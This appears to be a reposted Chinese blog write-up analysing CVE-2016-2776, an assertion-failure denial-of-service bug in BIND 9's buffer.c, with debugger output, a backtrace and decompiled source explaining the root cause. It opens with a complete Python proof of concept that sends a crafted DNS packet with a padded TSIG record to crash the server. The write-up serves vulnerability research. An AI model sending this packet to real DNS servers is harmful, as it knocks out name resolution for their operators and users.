[CVE-2016-2776]BIND 9 ‘buffer.c’拒绝服务漏洞
source link: http://www.whereisk0shl.top/post/2018-12-01?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
作者:k0shl 转载请注明出处:https://whereisk0shl.top
2018年的最后一个月,一年又要过去了....
漏洞说明
BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
PoC:
import socket import struct TARGET = ('192.168.200.10', 53) Q_A = 1 Q_TSIG = 250 DNS_MESSAGE_HEADERLEN = 12 def build_bind_nuke(question="\x06google\x03com\x00", udpsize=512): query_A = "\x8f\x65\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01" + question + int16(Q_A) + "\x00\x01" sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1 tsig_rr = build_tsig_rr(sweet_spot) return query_A + tsig_rr def int16(n): return struct.pack("!H", n) def build_tsig_rr(bind_demarshalled_size): signature_data = ("\x00\x00\x57\xeb\x80\x14\x01\x2c\x00\x10\xd2\x2b\x32\x13\xb0\x09" "\x46\x34\x21\x39\x58\x62\xf3\xd5\x9c\x8b\x8f\x65\x00\x00\x00\x00") tsig_rr_extra_fields = "\x00\xff\x00\x00\x00\x00" necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields) necessary_bytes += 2 + 2 # length fields # from sizeof(TSIG RR) bytes conforming the TSIG RR # bind9 uses sizeof(TSIG RR) - 16 to build its own sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16) tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields tsig_data = algo_name + signature_data return tsig_hdr + int16(len(tsig_data)) + tsig_data def generate_padding(n): max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d] buckets = [1] * len(max_per_bucket) min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte max_size = sum(max_per_bucket) + len(buckets) + 2 if not(min_size <= n <= max_size): raise RuntimeException("unsupported amount of bytes") curr_idx, n = 0, n - min_size while n > 0: next_n = max(n - (max_per_bucket[curr_idx] - 1), 0) buckets[curr_idx] = 1 + n - next_n n, curr_idx = next_n, curr_idx + 1 n_padding = lambda amount: chr(amount) + "A" * amount stringify = lambda sizes: "".join(map(n_padding, sizes)) + "\x00" return stringify(buckets[:4]), stringify(buckets[4:]) if __name__ == "__main__": bombita = build_bind_nuke() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(bombita, TARGET) s.close()
漏洞分析
BIND 9是一款著名的DNS服务端,其中,buffer.c存在一处断言导致的拒绝服务漏洞,在CNVD特地发公告表明BIND 9的拒绝服务漏洞属于高危漏洞,这个漏洞是由于buffer.c中会有一个对于长度的判断,如果我们构造特殊的数据包,加上/0,会导致长度判断不通过,导致BIND 9会进入assert断言处理,从而引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先部署BIND 9服务,这时候linux会开启53端口,gdb附加,发送畸形数据包。
可以看到Payload在Additional records字段中,数据包发送后,gdb会命中断点。
gdb-peda$ run Starting program: /usr/sbin/named [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". [New process 9722] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". [New Thread 0xb751ab40 (LWP 9723)] [New Thread 0xb6d19b40 (LWP 9724)] [New Thread 0xb6518b40 (LWP 9725)] Program received signal SIGABRT, Aborted. [Switching to Thread 0xb751ab40 (LWP 9723)] [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0x25fa ECX: 0x25fb EDX: 0x6 ESI: 0x1 EDI: 0xb7b23000 --> 0x1a5da8 EBP: 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") ESP: 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp) EFLAGS: 0x200206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7fdebdc <__kernel_vsyscall+12>: nop 0xb7fdebdd <__kernel_vsyscall+13>: nop 0xb7fdebde <__kernel_vsyscall+14>: int 0x80 => 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp 0xb7fdebe1 <__kernel_vsyscall+17>: pop edx 0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx 0xb7fdebe3 <__kernel_vsyscall+19>: ret 0xb7fdebe4: int3 [------------------------------------stack-------------------------------------] 0000| 0xb7515a64 --> 0x800a3d30 --> 0x800a0d80 --> 0x80072745 ("main") 0004| 0xb7515a68 --> 0x6 0008| 0xb7515a6c --> 0x25fb 0012| 0xb7515a70 --> 0xb79ab307 (<__GI_raise+71>: xchg ebx,edi) 0016| 0xb7515a74 --> 0xb7b23000 --> 0x1a5da8 0020| 0xb7515a78 --> 0xb7515b14 --> 0x0 0024| 0xb7515a7c --> 0xb79ac9c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8) 0028| 0xb7515a80 --> 0x6 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGABRT
这时候接收到了一个SIGABRT信号,在调用abort后会到达这个位置,从而中止DNS服务,通过bt的方法回溯一下堆栈调用情况。
gdb-peda$ bt #0 0xb7fdebe0 in __kernel_vsyscall () #1 0xb79ab307 in __GI_raise (sig=sig@entry=0x6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 #2 0xb79ac9c3 in __GI_abort () at abort.c:89 #3 0x8002da86 in ?? () #4 0xb7cdb7d5 in isc_assertion_failed () from /usr/lib/libisc.so.95 #5 0xb7cdd931 in isc.buffer_add () from /usr/lib/libisc.so.95 #6 0xb7de784b in dns_name_towire () from /usr/lib/libdns.so.100 #7 0xb7e58b08 in ?? () from /usr/lib/libdns.so.100 #8 0xb7ddf0a0 in dns_message_rendersection () from /usr/lib/libdns.so.100 #9 0x80021417 in ?? () #10 0x80021851 in ?? () #11 0x80022ac4 in ?? () #12 0xb7cfdf0c in ?? () from /usr/lib/libisc.so.95 #13 0xb7caeefb in start_thread (arg=0xb751ab40) at pthread_create.c:309 #14 0xb7a6662e in clone () at ../sysdeps/unix/sysv/linux/i386/clone.S:129
可以看到,在#4位置调用了isc_assertion_failed,随后执行了abort然后vsyscall中止服务,#4位置的assert应该是一处断言错误。来看一下buffer.c的源码部分。
void isc__buffer_add(isc_buffer_t *b, unsigned int n) { /* * Increase the 'used' region of 'b' by 'n' bytes. */ REQUIRE(ISC_BUFFER_VALID(b)); REQUIRE(b->used + n <= b->length); ISC__BUFFER_ADD(b, n); }
在源码中关于isc__buffer_add的描述并没有涉及assert部分,但实际上REQUIRE就是一个断言的函数调用,我们通过IDA来观察这个过程。
首先,当服务端接收到数据包的时候,根据additional records字段会先调用dns_name_towire函数处理名称部分。
isc_result_t dns_name_towire(dns_name_t *name, dns_compress_t *cctx, isc_buffer_t *target) { …… dns_name_init(&gp, po); dns_name_init(&gs, so); isc_buffer_init(&gws, gb, sizeof (gb)); offset = target->used; /*XXX*/ methods = dns_compress_getmethods(cctx); if ((methods & DNS_COMPRESS_GLOBAL) != 0) gf = dns_compress_findglobal(cctx, name, &gp, &gs, &go, &gws); else gf = ISC_FALSE; /* * Will the compression pointer reduce the message size? */ if (gf && (gp.length + ((go < 16384) ? 2 : 3)) >= name->length) gf = ISC_FALSE; if (gf) { if (target->length - target->used < gp.length) return (ISC_R_NOSPACE); (void)memcpy((unsigned char *)target->base + target->used, gp.ndata, (size_t)gp.length); isc_buffer_add(target, gp.length); …… }
这里我取了关键的一部分代码,isc_buffer_add(target, gp.length);这个函数调用就是最关键的调用部分。
我们需要跟踪一下gp的值,实际上target指针指向的buffer就是畸形字符串。gp的值是什么呢。gp的值来自于dns_compress_findglobal函数。
isc_boolean_t dns_compress_findglobal(dns_compress_t *cctx, dns_name_t *name, dns_name_t *prefix, dns_name_t *suffix, isc_uint16_t *offset, isc_buffer_t *workspace) { REQUIRE(VALID_CCTX(cctx)); REQUIRE(dns_name_isabsolute(name) == ISC_TRUE); REQUIRE(offset != NULL); return (compress_find(cctx->global, name, prefix, suffix, offset, workspace)); }
gp的值是name的prefix部分,随后进入isc__buffer_add中。
int __cdecl isc__buffer_add(int a1, int a2) { int result; // eax@1 unsigned int v3; // edx@3 result = a1; if ( !a1 || *(_DWORD *)a1 != 1114990113 ) isc_assertion_failed( (int)"buffer.c", 126, 0, (int)"(((b) != ((void *)0)) && (((const isc__magic_t *)(b))->magic == (0x42756621U)))"); v3 = *(_DWORD *)(a1 + 12) + a2; if ( v3 > *(_DWORD *)(a1 + 8) ) isc_assertion_failed((int)"buffer.c", 127, 0, (int)"b->used + n <= b->length"); *(_DWORD *)(a1 + 12) = v3; return result; }
当进入第二个断言错误判断if ( v3 > *(_DWORD *)(a1 + 8) )的时候,我们来看一下这个过程的值,首先a1+8是name结构体中存放name长度的部分。
[------------------------------------stack-------------------------------------] 0000| 0xb74de6b0 --> 0xb74de710 ("nSND\b\020L\265\001") 0004| 0xb74de6b4 --> 0xb7cdd8d6 (<isc__buffer_add+6>: add ebx,0x5f0aa) 0008| 0xb74de6b8 --> 0xb7f9fac8 --> 0x22a998 0012| 0xb74de6bc --> 0xb7de784b (<dns_name_towire+507>: movzx eax,WORD PTR [esp+0x18]) 0016| 0xb74de6c0 --> 0xb54c5040 ("!fuBxQL\265") 0020| 0xb74de6c4 --> 0x1 0024| 0xb74de6c8 --> 0x1 0028| 0xb74de6cc --> 0xb74de6e2 --> 0x536e0000 ('') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0xb7cdd8f6 in isc.buffer_add () from /usr/lib/libisc.so.95 gdb-peda$ x/10x $eax 0xb54c5040: 0x42756621 0xb54c5178 0x00000200 0x0000000c 0xb54c5050: 0x00000000 0x00000000 0xffffffff 0xffffffff 0xb54c5060: 0x00000000 0x00000000
注意b54c5040+8h的位置部分,存放的是长度,这个长度的获取时根据DNS数据包中字段的值决定的,但是如果这个值碰上/0,则会结束。
所以重新看一下发送的数据包,如果碰上/0,则会满足v3,也就是总长度大于字段中存放长度的时候,进入断言判断,DNS服务被中止。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK